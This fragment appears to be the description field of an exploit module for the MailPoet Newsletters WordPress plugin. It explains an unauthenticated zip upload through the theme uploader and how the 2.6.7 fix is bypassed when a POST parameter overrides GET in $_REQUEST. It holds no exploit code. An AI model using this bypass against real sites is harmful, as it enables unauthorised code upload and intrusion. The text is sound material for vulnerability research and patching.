      'Description'    => %q{
          The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8
          is vulnerable to an unauthenticated file upload. The exploit uses the Upload Theme
          functionality to upload a zip file containing the payload. The plugin uses the
          admin_init hook, which is also executed for unauthenticated users when accessing
          a specific URL. The first fix for this vulnerability appeared in version 2.6.7,
          but the fix can be bypassed. In PHP's default configuration,
          a POST variable overwrites a GET variable in the $_REQUEST array. The plugin
          uses $_REQUEST to check for access rights. By setting the POST parameter to
          something not beginning with 'wysija_', the check is bypassed. Wordpress uses
          the $_GET array to determine the page, so it is not affected by this. The developers
          applied the fixes to all previous versions too.
